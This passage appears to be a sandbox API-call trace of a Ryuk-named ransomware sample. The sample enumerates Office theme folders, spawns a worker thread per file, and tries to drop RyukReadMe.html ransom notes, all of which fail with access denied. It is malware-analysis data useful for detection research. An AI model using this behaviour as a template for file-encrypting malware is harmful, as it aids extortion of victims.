	[0161.970] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c
	[0161.972] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.972] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0
	[0161.975] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.976] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.976] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.976] SetLastError (dwErrCode=0x0) 
	[0161.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.976] GetLastError () returned 0x5
	[0161.977] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.977] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0161.977] SetLastError (dwErrCode=0x0) 
	[0161.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.977] GetLastError () returned 0x5
	[0161.977] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.977] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.979] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.980] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1
	[0161.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4
	[0161.982] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.983] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1
	[0161.983] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8
	[0161.986] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.987] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.987] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac
	[0161.989] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.990] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0
	[0161.994] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.994] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.994] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.995] SetLastError (dwErrCode=0x0) 
	[0161.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.995] GetLastError () returned 0x5
	[0161.995] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.995] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.995] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0161.995] SetLastError (dwErrCode=0x0) 
	[0161.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.996] GetLastError () returned 0x5
	[0161.996] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.998] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.998] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x8e, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1
	[0161.998] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4
	[0162.199] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.200] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x8e, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1
	[0162.200] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8
	[0162.203] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.204] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0162.204] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc
	[0162.206] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.207] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0162.207] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0
	[0162.210] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.210] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0162.211] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0162.212] SetLastError (dwErrCode=0x0) 
	[0162.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.213] GetLastError () returned 0x5
	[0162.213] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0162.213] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.213] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0162.213] SetLastError (dwErrCode=0x0) 
	[0162.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.214] GetLastError () returned 0x5
	[0162.214] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0162.214] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.214] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0162.214] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.215] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1
	[0162.215] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4
	[0162.218] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.218] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1
	[0162.219] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8
	[0162.221] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.221] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0162.221] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc
	[0162.225] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.226] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0162.226] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0162.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0
	[0162.229] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.230] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0162.230] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0162.230] SetLastError (dwErrCode=0x0) 
